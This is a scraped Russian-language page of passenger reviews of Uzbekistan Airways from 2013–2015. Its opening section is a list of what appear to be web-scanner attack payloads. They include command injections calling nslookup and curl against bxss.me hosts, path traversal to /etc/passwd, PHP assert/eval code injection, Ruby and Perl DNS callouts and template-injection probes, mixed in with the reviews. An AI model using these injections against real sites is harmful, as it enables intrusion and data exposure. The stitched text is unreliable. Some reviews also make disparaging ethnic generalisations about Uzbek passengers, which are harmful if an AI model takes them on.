Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Николай Асташенко
01.10.2013
Летел рейсом Ташкент-Дубай. Все здорово- и сервис на борту, и отзывчивость стюардесс, и сам полет! Молодцы! жаль что не могу часто пользоваться услугами вашей компании, по долгу службы приходится летать другими. Успехов вам, ребята! С уважением.
Летел данной компанией по маршруту Ташкент-Анталия-Ташкент.Скажу честно:Летал Аэрофлотом,Трансаэро,Туркишом и Эмирайтсом.Хавошка стоит на 2ом месте после Эмирайтса).Все остальные компании кроме этих не понравились.Туда летели на А320,кормили так что живот заболел:),стюардессы вежливые просить два раза не приходится.Соки и напитки в неогр количестве.Что касается обратно пути,летели на B767.Самолёт был постарее,кроме того еда была просто отвратная(стюардессы сказали что закупались в турецком аэропорту поэтому так).Вообщем моя оценка твёрдая 4,но до эмирайтса им далеко.
Летали на Новый год в Тайланд (Екатеринбург-Бангкок) дикарями с пересадкой в Ташкенте. Самолеты чистые и удобные, пледы, наушники выдавали, подушки пассажирам с детьми. Все мониторы работали, фильмы смотреть удобно. Кормили вкусно, особенно удивили и порадовали орешки перед каждой едой и курага после) В Ташкенте, когда летели туда, сидели ночь в старом здании аэропорта, было холодно (декабрь) и заснуть не получалось. Обратная остановка была в новом здании в переходной зоне, не очень комфортно, но лучше чем в первый раз. И за неделю в Ташкенте очень потеплело и растаял снег)
Все действительно очень хорошо, с таким восточно-постсоветским гостеприимством)
Летали в январе 2013 в Малайзию, с большой опаско, но всеже остановились на узбекских авиалиниях . До Ташкента вообще классно, обратно из Малайзии - похуже из-за избекских пассажиров, которых была тьма-тьмущая, и борт был постарее и питание похуже, но в целом остались довольны. В этом году опять узбекскими авиалиниями через Малайзию на Бали, через месяц обратно.
Летали в августе Москва-Ташкент-Москва Boeing-767. Немного опасались, так как ни разу не пользовались услугами данного перевозчика, но как оказалось...Все было просто замечательно. Вылет из Москвы в Ташкент-самолет полный, узбеки возвращались домой. Вылет по расписанию. Во время полета познакомился с местным Ташкенцем, за диалогом время промчалось мгновенно. Питание отличное, очень понравились мясные блюда с приправами местного колорита))) Салон чистенький, пассажиры вели себя прилично. Пилоты красавчики! Чувствуется советская школа самолетовождения)) Взлет, посадка-на пятерочку. Единственная досада это получение багажа в аэропорту Ташкента-ну оооочень долго! Но к полету это не имеет никакого отношения. Хаво Йолари молдчики! Так держать! Народ, не бойтесь, летайте смело-протестировано!
Летал 17.12.2013 данной авиакомпанией по маршруту СПБ-Ташкетнт-Куала-Лумпур и обратно.
Впечатление отличное!Очень свежие современные боинги. В первые за несколько лет частых полетов в основном на российских авиакомпаниях я узнал что такое индивидуальный медиа-центр (музыка, кино). У наших такого в старых самолетах не встречал. Кормили вкусно и разнообразно.персонал очень дружелюбный и приятный. Так как это единственная национальная авиакомпания Узбекистана и насчитывает всего 18 самолетов, дамаю, дифицита высококвалифицированных пилотов, у них, в отличии от России, нет. Используют они в основном Боинги и судя по статье в журнале налажено стабильное сотрудничество с корпорацией Боинг. В общем, советую! По крайней мере, при полете чувствуешь себя безопасней, чем в нашей системе.
Летали в Тайланд в феврале 2014 года. Из Питера. Проблемы начались сразу на стойке регистрации, т.к. доблестные жители солнечного Узбекистана не знакомы с понятием "очередь" и лезли со своими баулами со всех сторон. Везли все, начиная от кукол Барби и заканчивая эл. каминами. Давка и неразбериха полная. После того как регистрация и предполетная проверка были пройдены всех усадили в самолет и небольшое дополнительное приключение длиной в 2,5 часа заставило нас еще немного погрустнеть. Ждали мы 5-7 человек, которых депортировали. При этом точной информации не давали, ждали сколько придется. Изюминка заключается еще и в том, что нелегалы обратно поехали в бизнес классе, а те, кто их ждал-в экономе))) Кормят странно: С-Пб-Ташкент-посредственно, Ташкент-Бангкок -хорошо. В чем разница-не совсем понятно. На борту вроде все по стандартам, но как-то совково и не совсем дружелюбно. В целом авиакомпания хорошая, отличный авиапарк, большой аэропорт, современный терминал. НО из-за контингента пассажиров хочется слиться с местностью. Если есть возможность лететь другой авиакомпанией- лучше выбрать не Узбеков.
Летали в феврале 2013 Тюмень-Ташкент-Бангкок-Ташкент-Тюмень. Авиакомпания понравилась. В Аэропорту Тюмени граждан России на посадку пропускаю вне очереди и дают хорошие места в проходах. У знакомых приключилась история, изза тумана в Ташкенте(летели из Бангкока), самолет посадили на запасной аэродром, друзья благополучно опоздали на Тюменский рейс(выполняется раз в неделю). Представители авиакомпании отправили их на Москву, а от туда оплатили рейс до Тюмени S7. Так что свои обязательства авиакомпания выполняет.
Наталья (стюардесса российской авиакомпании)
03.04.2014
01.04.2014 летела по маршруту Ташкент - Санкт-Петербург. Всё очень понравилось!!! Осталась приятно удивлена сервисом. Самолёт А320-214, бортовой номер UK32020 (год выпуска 2011), компоновка: 12 кресел в бизнес-классе и 138 - в экономическом (удобно сидеть, много места для ног). Чистый салон, исправная видеосистема над креслами (показали два фильма и карту полёта). Для сравнения у а\к "Россия", которая так же летает по этому маршруту на таких же А320-214, компоновка 12/144 и 12/156!!! и никакой системы развлечений. Питание вообще несравнимо. У "России": невесомая порция горячего с тремя маленькими кусочками говядины с макаронами, булочка, кекс, масло. У Uzbekistan Airways: добротный кусок куриного филе в кляре с рисом, кетчуп, майонез, масло, джем, булочка, самса, нарезка из колбасы и свежих овощей, пирожное, консервированные фрукты, даже Coca-Cola Zero. Бортпроводники общаются на трёх языках, информация также на узбекском, русском, английском языках.
Однозначно рекомендую выбирать Uzbekistan Airways по этому направлению!!! Молодцы!
Летел 4 раза этой компанией. Проводники во всех рейсах отличные,внимательные и без хамства. Пилоты тоже молодцы! Летал с ними из Красноярска в Бангкок,через Ташкент и обратно. В крайний рейс из Ташкента до Красноярска в первый час полета была жуткая болтанка. Но тут не вина пилотов конечно. Кормили из Красноярска так себе.И Ташкента уже хорошо. Обратно из Бангкока тоже отличная еда была. Ещё омрачил крайний полет до Красноярска,контингент из Узбекистана. Но это тоже к самой авиакомпании не имеет отношения. Твердая 4 с плюсом! Можно летать однозначно.
Летел этой авиакомпанией из Красноярска через Ташкент в Бангкок и обратно.В общем и целом работу компании можно оценить на "4+"! Грамотные пилоты,вежливые и внимательные проводники. Кормежка я так понял,зависит от аэропорта вылета. Хуже всего кормили при вылете из родного Красноярска,лучше всего при вылете из Бангкока. Летел на трех самолетах этой компании-А-320, Боинг-757,Боинг-767. Все самолеты не старые,особенно понравился Боинг-767. 6часов перелета на нем пролетели как полчаса.Удобно и комфортно.
Бехзод Абдуллаев
28.10.2014
Я летел с семьей по маршруту Ташкент-Мадрид 10.10.2014 года.Прекрасное осблуживание,но самое главное хотел бы отметить мастерство командира воздушного судна Зака Иосифа. Такого плавного взлета и такой мягкой посадки больше нигде не видел.За что хотел бы выразить огромную благодарность.
очень часто летаю авиакомпанией Узбекистон. в основном Ташкет - Москва и обратно. Тут , конечно, раз на раз не приходится. попадались и старенькие самолеты, но в целом самолет всегда чистый. экипаж гостеприимный , хамок среди стюардесс встречать приходилось редко, но случаи были. наверное в каждой семье не без урода... имею точную информацию, что данная авиакомпания, хоть и не всегда вкладывается в салон и починку кресел на борту, очень следит за внутренностями самолета))) хотя летала в куала лумпур в 2014 , самолет был отличный, большой, расстояния между кресел такое, что и выспаться можно не потревожив соседей)) и это в экономе. видимо, смотря куда, такой и борт.. хотя иногда попадаются и на рейс ташкент москва достойные самолеты... пилоты все асы.. у меня 20 полетов с этой компанией, и всегда 5+ пилоту.. в общем ОСКАРЪ этой авиакомпании...советую
Бывший житель Узбекистана)))
05.04.2015
Летать приходилось часто... При вылете из Узбекистана,при предъявлении "зеленного" паспорта пограничникам и служащим по досмотру приходилось чувствовать себя третьим сортом!!!! Наглость,хамство и наглое ОБДИРАЛОВО НИ ЗА ЧТО!!!! Вид наличности у местных пограничников вызывает чувство неприодолимого желания-эти деньги забрать в наглую!!!!! Однако уже в следующий вылет из Узбекистана,мною был предъявлен Российский паспорт)))) и отношение изменилось до неузнаваемости))))) ни слова!!!! Улыбка во весь золотой рот и сплошной позитив!!!! Двуличные люди(((( на борту,что туда-что обратно... Вонь от грязных носков!!! (но это контингент жителей такой)))) пилоты-профи своего дела!!! Стюарды и стюардессы молодцы!!!! А вот парк самолетов-так его надо менять 100% весь!!!! Импортный ширпотреб!!!! Со свалок эти самолеты!!!!!
24 февраля 2015г. летела рейсом Сингапур-Ташкент-Екатеринбург. На рейсе Сингапур-Ташкент отличное обслуживание, персонал вежливый, в самолете чисто. Рейс Ташкент-Екатеринбург передвинули на два дня. В Ташкенте поселили в гостиницу - чисто, уютно, кормили вкусно, при выселении с собой дали продукты и авиакомпания выплатила неустойку за задержку. Всем довольна. Посмотрели город, отдохнули. При перелете из Ташкента в Екатеринбург (26 февраля 2015г.) одна из стюардесс (узбечка) была очень агрессивна именно к русским - сосед нечаянно нажал на кнопку вызова, стюардесса пришла и накричала на пассажира, чтобы не нажимал кнопку вызова, на меня накричала, потому что я из самолета фотографировала восход солнца (мотивировала тем, что я шпионю за самолетом - полнейший бред). Вторая стюардесса была вежливая, приветливая. Международные линии Узбекские авиалинии обслуживают намного лучше.
всем привет! я не часто летаю но мне очень понравилось полёт этой компании. я 11 03 2015 летел уфа - ташкент всё супер, время полёта так быстро пролетело как пол часа, кормили так вкусно большой кусок мясо птицы копчёное +нарезка колбас помидор огурец соки -напитки чай кофе без ограничений и всё остальное. музыка русская -узбекская, фильм ,всё чисто приветливые борт проводницы! А когда обратно улетал 1 04 2014 при в ходе в аэропорт никаких удобств так как у меня перегруз на 2 этаж подниматься с большим грузом пришлось тащиться по лестнице ужас и при регистрации на рейс дикая давка так как 2 стойки только работают то же фигня когда шли на посадку 1 стойка работала на весь самолёт + на автобусе долго ждали холодно было и дождь проливной когда подъехали с самолёту всех высадили в дождь и по несколько человек пускали на самолёт . оказалось в салоне не работает видео мониторы ни музыки ни газеты был журнал ничего интересного быстро пролистал но хорошо и вкусно покормили соки -напитки чай кофе борт проводники молодцы приветливые. Вообщем мне понравилось летать с этой компанией удачи вам!
Хотелось бы написать , что хорошая авиакомпания. И самолеты не старые, и стюардессы приветливые и кормят "на убой". Но... все положительные моменты перечеркивает лояльное отношение Узбекских а/линий к курильщикам на борту. Конечно, в инструктаже говорят, что курение на борту во время полета запрещено, и горит табло с перечеркнутой сигаретой, но судя по всему некоторым пассажирам глубоко плевать на эти запреты.
Но самое страшное, что экипажу тоже плевать на курильщиков. Когда я сказала стюардессам о том, что в самолете тяжело дышать от табачного дыма они изрядно удивились как будто все стюардессы разом лишились обоняния. Я летала Москва-Ургенч и Самарканд-Москва. Картина была одна и та же.
Ташкент-Москва.
Просто супер.
Новый самолёт, в салоне - чисто, отличное полноценное питание (для сравнения - на рейсе "туда" S7 дал завёрнутый в тесто кусочек курицы), вежливые стюарды и стюардессы.
И хоть бы кто полслова сказал за перегруз и достаточно большую сумку с керамикой, взятой в салон.
Замечательная авиакомпания, рекомендую.
Отличная Авиа компания,свежие самолеты,профессионалы пилоты.Но вот возрастной предел, и общие габариты некоторых стюардесс, не знают границ.Хотелось бы, что бы руководству Авиакомпании, обратило на это внимание..Стюардесса,это в первую очередь лицо авиакомпании.Берите пример с Азианы или Кореа эйр.
Летела Узбекской авиакомпанией в конце Июня 2015 года из Нью-Йорка в Ригу. Это был не первый полет с Узбеками, но определенно последний. К работе команды на борту никаких претензий. Они работают в тяжелых условиях. Самолет очень старый. Людей напихано как селедки в бочке. Мой рост всего 156см, но даже я с моим маленьким ростом была так зажата между кресел, что даже не имела возможности посмотреть вниз под ноги где у меня где-то валялась сумка с кошечкой, которую мне надо было перевезти в Ригу. За перевозку животного я заплатила 300 (!!!) долларов , но даже не имела возможности проверить жива ли она там под ногами. Если бы я знала в каких условиях полечу, то никогда не связалась бы с Узбекской кампанией. Это было 8 часов непрерывного кошмара!
Сама лучшая авиакомпания!!!
Летел этой авиакомпанией мой сын из Москвы в Ташкент в июле 2015 года. На регистрации в Домодедово не прошли регистрацию 25 человек, т.к. "закончились места в салоне самолета!!!", в том числе и мой сын. Пообещали отправить следующим рейсом в Андижан с пересадкой там на рейс до Ташкента. Мой сын оказался в числе семи "счастливчиков" кто попал на рейс до Андижана, из тех 25 человек. В итоге прилетев в Андижан там их никто, не встретил, не помог с переригистрацией, и когда они прошли все таможенные процедуры, самолет на Ташкент уже улетел. Пришлось им добираться до Ташкента на такси. Один плюс смог осуществить переезд через перевал и увидеть замечательные виды Узбекистана. Ужасное отношение в авиакомпании. Постараемся избегать ее услугами в дальнейшем.
2015 год 5 августа, летели из Ташкента в Анталию, боинг 752, по определению не новый очень тесный самолет с неработающими подлокотниками и сломанными перед вами столами для еды, после взлета мне показалось что я лечу не на самолете, а еду в автобусе в какой то кишлак, все встали со своих мест, и в узких проходах начали ходить к друг другу в гости и стоять в этих проходах, мужики стояли бухали возле туалета, кто то курил в туалете и вонь от сигарет расползалась по всюду, персонал самолёта не предпринял ни одну попытку поставить всех на место, летели с детьми и постоянно были в напряжении из за этих моментов, постараюсь больше не лететь авиакомпанией хаво йулари!!!
Просто ужас. На 248 человек 15 плед. Замерз в течении шести часового полета. Сказали что летний сезон. А на высоте 10000-11000 метров за бортом -50 градусов.
Мокрый пассажир
26.08.2015
Хочу поблагодарить Авиакомпании "Хаво Йуллари".
Спасибо за все что вы делаете, очень приятно было быть на небе вместе с вам.
Я прилетел рейсом номер 606 20-августа с города Москвы в Самарканд. Очень хороший и профессионалний персонал, обслуживание на 100, терпеливые .... все хорошие, хочу отдельно выделить стюардесса под именем КРИСТИНА(фамилию к сожалению не знаю). Любящие свою работу, профессионализм, терпение, услышать и помогать каждому пассажиру...это огромное уважение!
Спасибо за все, я рад что есть такие авиакомпании как ХАВО-ЙУЛЛАРИ!!!
Прежде всего хочу отметить что кормили очень вкусно, стюардессы все приветливые, вежливые, вообщем все прекрасно, пилот мастер своего дела, такого плавного вылета и посадки, я в жизни не видел, просто супер!!! Рекомендую всем эту авиакомпанию, а кто не доволен полетом, я скажу одно, как ты обращаешся с ними так они и тебе отвечают. И наверное вы насмотрелись телешоу "одна за всех", а там просто издевательство!!! Не верьте им!!!
